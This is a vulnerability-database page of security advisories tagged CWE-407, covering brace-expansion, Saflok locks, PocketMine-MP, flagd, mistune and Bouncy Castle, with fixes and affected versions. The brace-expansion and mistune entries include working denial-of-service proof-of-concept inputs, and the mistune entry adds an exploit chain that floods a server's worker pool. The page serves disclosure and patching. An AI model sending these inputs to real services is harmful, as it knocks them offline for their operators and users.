GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

320 vulnerabilities reference this CWE, most recent first.

GHSA-3JXR-9VMJ-R5CP

Vulnerability from github – Published: 2026-07-20 20:51 – Updated: 2026-07-20 20:51
VLAI
Summary
brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups
Details

Summary

brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process.

In expand_, post is computed unconditionally at the top of the function, before the early-return branches that don't use it:

const post = m.post.length ? expand_(m.post, max, false) : [''];   // always recurses
  ...
if (!isSequence && !isOptions) {
  if (m.post.match(/,(?!,).*\}/)) {
    str = m.pre + '{' + m.body + escClose + m.post;
    return expand_(str, max, true); // restart — `post` discarded
  }
  return [str];
}

For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but expand_ has already recursed into post over the entire remaining tail, only to throw the result away. Each level therefore spawns two recursive expansions over essentially the same remaining work: T(n) = 2·T(n−1) ⇒ O(2ⁿ).

The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it.

Measured on 5.0.6:

groups (n) input bytes time
20 60 130 ms
24 72 1.9 s
26 78 7.8 s
30 (PoC) 90 ~2 min

Proof of concept

const { expand } = require('brace-expansion');
// 30 non-expanding groups, ~90 bytes — blocks for minutes:
expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}');

Impact

Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process.

Remediation

Upgrade to a patched release. The fix: 1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential. 1. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack.

Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "5.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-13149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T20:51:09Z",
    "nvd_published_at": "2026-06-30T10:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nbrace-expansion\u0027s expand() exhibits exponential-time - O(2\u207f) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node\u0027s single-threaded event loop, one small input can fully stall a worker/process.\n\nIn `expand_`, `post` is computed unconditionally at the top of the function, before the early-return branches that don\u0027t use it:\n```js\nconst post = m.post.length ? expand_(m.post, max, false) : [\u0027\u0027];   // always recurses\n  ...\nif (!isSequence \u0026\u0026 !isOptions) {\n  if (m.post.match(/,(?!,).*\\}/)) {\n    str = m.pre + \u0027{\u0027 + m.body + escClose + m.post;\n    return expand_(str, max, true); // restart \u2014 `post` discarded\n  }\n  return [str];\n}\n```\n\nFor input like a{},{},\u2026, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but `expand_` has already recursed into post over the entire remaining tail, only to throw the result away.\nEach level therefore spawns two recursive expansions over essentially the same remaining work: `T(n) = 2\u00b7T(n\u22121) \u21d2 O(2\u207f)`.\n\nThe max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it.\n  \nMeasured on 5.0.6:\n\n| groups (n) | input bytes | time |\n|---|---|---|\n| 20 | 60 | 130 ms |\n| 24 | 72 | 1.9 s |\n| 26 | 78 | 7.8 s |\n| 30 (PoC) | 90 | ~2 min |\n\n### Proof of concept\n```js\nconst { expand } = require(\u0027brace-expansion\u0027);\n// 30 non-expanding groups, ~90 bytes \u2014 blocks for minutes:\nexpand(\u0027a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}\u0027);\n```\n\n### Impact\n\nAny application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process.\n\n### Remediation\n\nUpgrade to a patched release. The fix:\n1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential.\n1. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack.\n\nVerified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n\u00b2) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up.\n\nIf immediate upgrade isn\u0027t possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.",
  "id": "GHSA-3jxr-9vmj-r5cp",
  "modified": "2026-07-20T20:51:10Z",
  "published": "2026-07-20T20:51:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-3jxr-9vmj-r5cp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/pull/122"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/pull/123"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/commit/835d6be91201122d9adffb0c0c8c094189ace265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juliangruber/brace-expansion"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/releases/tag/v1.1.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/releases/tag/v2.1.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/releases/tag/v5.0.7"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/brace-expansion"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/S:N/AU:Y/R:U/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups"
}

GHSA-3QV4-JM22-WQX7

Vulnerability from github – Published: 2024-03-21 18:32 – Updated: 2024-10-20 00:30
VLAI
Details

The dormakaba Saflok system before the November 2023 software update allows an attacker to unlock arbitrary doors at a property via forged keycards, if the attacker has obtained one active or expired keycard for the specific property, aka the "Unsaflok" issue. This occurs, in part, because the key derivation function relies only on a UID. This affects, for example, Saflok MT, and the Confidant, Quantum, RT, and Saffire series.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-29916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-21T17:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The dormakaba Saflok system before the November 2023 software update allows an attacker to unlock arbitrary doors at a property via forged keycards, if the attacker has obtained one active or expired keycard for the specific property, aka the \"Unsaflok\" issue. This occurs, in part, because the key derivation function relies only on a UID. This affects, for example, Saflok MT, and the Confidant, Quantum, RT, and Saffire series.",
  "id": "GHSA-3qv4-jm22-wqx7",
  "modified": "2024-10-20T00:30:35Z",
  "published": "2024-03-21T18:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29916"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=39779291"
    },
    {
      "type": "WEB",
      "url": "https://unsaflok.com"
    },
    {
      "type": "WEB",
      "url": "https://www.wired.com/story/saflok-hotel-lock-unsaflok-hack-technique"
    },
    {
      "type": "WEB",
      "url": "https://www.youtube.com/watch?v=4cx0RUV7i0s"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3VJV-JH7H-XV9F

Vulnerability from github – Published: 2026-09-09 15:35 – Updated: 2026-09-09 15:35
VLAI
Details

PocketMine-MP versions before 4.12.5 contain a denial-of-service vulnerability in ModalFormResponsePacket processing that allows attackers to cause server resource exhaustion by sending large JSON payloads. Attackers can send numerous oversized modal form response packets to consume CPU time and prevent the server from processing legitimate connections.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-54395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T14:17:09Z",
    "severity": "MODERATE"
  },
  "details": "PocketMine-MP versions before 4.12.5 contain a denial-of-service vulnerability in ModalFormResponsePacket processing that allows attackers to cause server resource exhaustion by sending large JSON payloads. Attackers can send numerous oversized modal form response packets to consume CPU time and prevent the server from processing legitimate connections.",
  "id": "GHSA-3vjv-jh7h-xv9f",
  "modified": "2026-09-09T15:35:10Z",
  "published": "2026-09-09T15:35:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-7m9r-rq9j-wmmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-54395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/3baa5ab71214f96e6e7ab12cb9beef08118473b5"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pocketmine-mp-before-4.12.5-denial-of-service-via-modalformresponsepacket"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4C5F-9MJ4-M247

Vulnerability from github – Published: 2026-01-05 15:07 – Updated: 2026-01-05 15:07
VLAI
Summary
flagd: Multiple Go Runtime CVEs Impact Security and Availability
Details

Summary

In 2025, several vulnerabilities in the Go Standard Library were disclosed, impacting Go-based applications like flagd (the evaluation engine for OpenFeature). These CVEs primarily focus on Denial of Service (DoS) through resource exhaustion and Race Conditions in database handling.

CVE ID Impacted Package Severity Description & Impact on flagd
CVE-2025-47907 database/sql 7.0 (High) Race Condition: Canceling a query during a Scan call can return data from the wrong query. Critical if flagd uses SQL-based sync providers (e.g., Postgres), potentially leading to incorrect flag configurations.
CVE-2025-61725 net/mail 7.5 (High) DoS: Inefficient complexity in ParseAddress. Attackers can provide crafted email strings with large domain literals to exhaust CPU if flagd parses email-formatted metadata.
CVE-2025-61723 encoding/pem 7.5 (High) DoS: Quadratic complexity when parsing invalid PEM inputs. Relevant if flagd loads TLS certificates or keys via PEM files from untrusted sources.
CVE-2025-61729 crypto/x509 7.5 (High) Resource Exhaustion: HostnameError.Error() lacks string concatenation limits. A malicious TLS certificate with thousands of hostnames could crash flagd during connection handshakes.
CVE-2025-58188 net/http Medium Request Smuggling: Improper header handling in HTTP/1.1. Could allow attackers to bypass security filters positioned in front of flagd sync or evaluation APIs.
CVE-2025-58187 archive/zip Medium DoS: Improper validation of malformed ZIP archives. Impacts flagd if configured to fetch and unpack zipped configuration bundles from remote providers.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/open-feature/flagd/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/open-feature/flagd/flagd-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/open-feature/flagd/flagd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-362",
      "CWE-400",
      "CWE-407",
      "CWE-444",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T15:07:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nIn 2025, several vulnerabilities in the Go Standard Library were disclosed, impacting Go-based applications like flagd (the evaluation engine for OpenFeature). These CVEs primarily focus on Denial of Service (DoS) through resource exhaustion and Race Conditions in database handling. \n\n| CVE ID | Impacted Package | Severity | Description \u0026 Impact on flagd |\n| -- | -- | -- | -- |\n| CVE-2025-47907 | database/sql | 7.0 (High) | Race Condition:  Canceling a query during a Scan call can return data from the wrong query. Critical if flagd uses SQL-based sync providers (e.g., Postgres), potentially leading to incorrect flag configurations. |\n| CVE-2025-61725 | net/mail | 7.5 (High) | DoS: Inefficient complexity in ParseAddress.  Attackers can provide crafted email strings with large domain literals to exhaust CPU if flagd parses email-formatted metadata. |\n| CVE-2025-61723 | encoding/pem | 7.5 (High) | DoS: Quadratic complexity when parsing invalid PEM inputs. Relevant if flagd loads TLS certificates or keys via PEM files from untrusted sources. |\n| CVE-2025-61729 | crypto/x509 | 7.5 (High) | Resource Exhaustion: HostnameError.Error() lacks string concatenation limits. A malicious TLS certificate with thousands of hostnames could crash flagd during connection handshakes. |\n| CVE-2025-58188 | net/http | Medium | Request Smuggling: Improper header handling in HTTP/1.1. Could allow attackers to bypass security filters positioned in front of flagd sync or evaluation APIs. |\n| CVE-2025-58187 | archive/zip | Medium | DoS:  Improper validation of malformed ZIP archives.  Impacts flagd if configured to fetch and unpack zipped configuration bundles from remote providers. |",
  "id": "GHSA-4c5f-9mj4-m247",
  "modified": "2026-01-05T15:07:46Z",
  "published": "2026-01-05T15:07:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-feature/flagd/security/advisories/GHSA-4c5f-9mj4-m247"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-feature/flagd/pull/1840"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-feature/flagd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-feature/flagd/releases/tag/core%2Fv0.13.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "flagd: Multiple Go Runtime CVEs Impact Security and Availability"
}

GHSA-4J32-57V6-6G45

Vulnerability from github – Published: 2026-07-20 21:32 – Updated: 2026-07-20 21:32
VLAI
Summary
Mistune inline_parser: quadratic-time parsing on long runs of `**x**` and `***x***` emphasis pairs
Details

Summary

Type: Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed **x** (strong) or ***x*** (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS ([ repetition) and from the formatting-plugin DoS (~~/==/^^); this one fires on default-config mistune with no plugins required. File: src/mistune/inline_parser.py lines 41-48 (the EMPHASIS_END_RE family) and the surrounding emphasis dispatch. Root cause: for every opening run of *s the parser scans forward using one of EMPHASIS_END_RE['*'] / ['**'] / ['***'] to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped **x** repeated N times, every ** is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant ***x*** is slightly worse due to the extra alternation between *, **, and *** close patterns. Reproducible against default mistune with no plugins.

Affected Code

File: src/mistune/inline_parser.py, lines 41-48.

EMPHASIS_END_RE = {
    "*": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*(?!\*)"),
    "_": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])_(?!_)\b"),
    "**": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*(?!\*)"),
    "__": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])__(?!_)\b"),
    "***": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*\*(?!\*)"),
    "___": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])___(?!_)\b"),
}
# Each of the six end-patterns is invoked from every emphasis open position
# fired by the inline rule `r"\*{1,3}(?=[^\s*])|\b_{1,3}(?=[^\s_])"`. The
# scan itself is bounded per call; the cost comes from the parser invoking
# the scan at every matching open marker, giving O(N²) total work.

Why it's wrong: same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (commonmark.js, commonmark-py, markdown-it-py all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.

Exploit Chain

  1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default mistune.create_markdown() configuration.
  2. Attacker submits a 40 KB payload of **x** repeated 8000 times.
  3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time.
  4. Repeating the request floods the worker pool.

Security Impact

Severity: sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable. Attacker capability: O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial. Preconditions: application uses mistune.create_markdown() (default config) on attacker-supplied markdown. No plugins required. Differential: PoC-verified against mistune@3.2.1, default config:

import mistune, time
md = mistune.create_markdown()                     # no plugins
for n in [500, 1000, 2000, 4000, 8000]:
    s = '**x**' * n
    t = time.time()
    md(s)
    print(f'  **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')

# Output (Python 3.13, Linux, 2.5GHz CPU):
#   **x** *  500  (2500b):    20ms
#   **x** * 1000  (5000b):    74ms
#   **x** * 2000 (10000b):   284ms
#   **x** * 4000 (20000b):  1079ms
#   **x** * 8000 (40000b):  4309ms

# Triple-emphasis is similar:
md('***x***' * 4000)   # ~1500ms

# Linear in N for non-emphasis input of comparable size:
md('xxxxx' * 8000)     # 1ms (4000x faster)

The patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.

Suggested Fix

Cap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:

--- a/src/mistune/inline_parser.py
+++ b/src/mistune/inline_parser.py
@@ ... in the emphasis-handling code path
+    # Bound the number of open emphasis markers tracked. CommonMark gives
+    # no semantics to deeply nested unmatched emphasis; this cap turns the
+    # parser-level O(N^2) into O(N) for adversarial inputs while preserving
+    # behaviour on every realistic markdown document.
+    MAX_OPEN_EMPHASIS = 100
+    if open_emphasis_count > MAX_OPEN_EMPHASIS:
+        # treat remaining * / _ as literal text
+        ...

The proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that md('**x**' * 50_000) completes in under 1 second.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:32:40Z",
    "nvd_published_at": "2026-07-08T17:17:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**Type:** Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed `**x**` (strong) or `***x***` (strong-emphasis combined) pairs causes O(N\u00b2) parser work. Distinct from the bracket-bomb DoS (`[` repetition) and from the formatting-plugin DoS (`~~`/`==`/`^^`); this one fires on default-config mistune with no plugins required.\n**File:** `src/mistune/inline_parser.py` lines 41-48 (the `EMPHASIS_END_RE` family) and the surrounding emphasis dispatch.\n**Root cause:** for every opening run of `*`s the parser scans forward using one of `EMPHASIS_END_RE[\u0027*\u0027]` / `[\u0027**\u0027]` / `[\u0027***\u0027]` to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped `**x**` repeated N times, every `**` is treated as a potential start, each scan can cover up to the end of input. Total work is O(N\u00b2). The triple-emphasis variant `***x***` is slightly worse due to the extra alternation between `*`, `**`, and `***` close patterns. Reproducible against default mistune with no plugins.\n\n## Affected Code\n\n**File:** `src/mistune/inline_parser.py`, lines 41-48.\n\n```python\nEMPHASIS_END_RE = {\n    \"*\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*(?!\\*)\"),\n    \"_\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])_(?!_)\\b\"),\n    \"**\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*(?!\\*)\"),\n    \"__\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])__(?!_)\\b\"),\n    \"***\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*\\*(?!\\*)\"),\n    \"___\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])___(?!_)\\b\"),\n}\n# Each of the six end-patterns is invoked from every emphasis open position\n# fired by the inline rule `r\"\\*{1,3}(?=[^\\s*])|\\b_{1,3}(?=[^\\s_])\"`. The\n# scan itself is bounded per call; the cost comes from the parser invoking\n# the scan at every matching open marker, giving O(N\u00b2) total work.\n```\n\n**Why it\u0027s wrong:** same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (`commonmark.js`, `commonmark-py`, `markdown-it-py` all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown. No plugins required \u2014 affects the default `mistune.create_markdown()` configuration.\n2. Attacker submits a 40 KB payload of `**x**` repeated 8000 times.\n3. Server CPU pegs for ~4 seconds; 16 KB \u2192 ~17 seconds. Doubling input quadruples time.\n4. Repeating the request floods the worker pool.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable.\n**Attacker capability:** O(N\u00b2) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. No plugins required.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()                     # no plugins\nfor n in [500, 1000, 2000, 4000, 8000]:\n    s = \u0027**x**\u0027 * n\n    t = time.time()\n    md(s)\n    print(f\u0027  **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms\u0027)\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   **x** *  500  (2500b):    20ms\n#   **x** * 1000  (5000b):    74ms\n#   **x** * 2000 (10000b):   284ms\n#   **x** * 4000 (20000b):  1079ms\n#   **x** * 8000 (40000b):  4309ms\n\n# Triple-emphasis is similar:\nmd(\u0027***x***\u0027 * 4000)   # ~1500ms\n\n# Linear in N for non-emphasis input of comparable size:\nmd(\u0027xxxxx\u0027 * 8000)     # 1ms (4000x faster)\n```\n\nThe patched build (with the suggested fix below \u2014 delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.\n\n## Suggested Fix\n\nCap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:\n\n```diff\n--- a/src/mistune/inline_parser.py\n+++ b/src/mistune/inline_parser.py\n@@ ... in the emphasis-handling code path\n+    # Bound the number of open emphasis markers tracked. CommonMark gives\n+    # no semantics to deeply nested unmatched emphasis; this cap turns the\n+    # parser-level O(N^2) into O(N) for adversarial inputs while preserving\n+    # behaviour on every realistic markdown document.\n+    MAX_OPEN_EMPHASIS = 100\n+    if open_emphasis_count \u003e MAX_OPEN_EMPHASIS:\n+        # treat remaining * / _ as literal text\n+        ...\n```\n\nThe proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that `md(\u0027**x**\u0027 * 50_000)` completes in under 1 second.",
  "id": "GHSA-4j32-57v6-6g45",
  "modified": "2026-07-20T21:32:40Z",
  "published": "2026-07-20T21:32:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-4j32-57v6-6g45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/5de41fb8e527004dbc363e047a3c380c9288c74f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2213.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune inline_parser: quadratic-time parsing on long runs of `**x**` and `***x***` emphasis pairs"
}

GHSA-4MWX-9CGQ-H2WP

Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-09-02 15:34
VLAI
Details

In Bouncy Castle for Java before 1.85, Quadratic-time escaping when stringifying X.500 distinguished names. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-58059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T03:16:45Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, Quadratic-time escaping when stringifying X.500 distinguished names. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).",
  "id": "GHSA-4mwx-9cgq-h2wp",
  "modified": "2026-09-02T15:34:22Z",
  "published": "2026-08-03T03:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/7bf20eea8c1b71a4d3574b75ba20ccf26ffff36b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9058059"
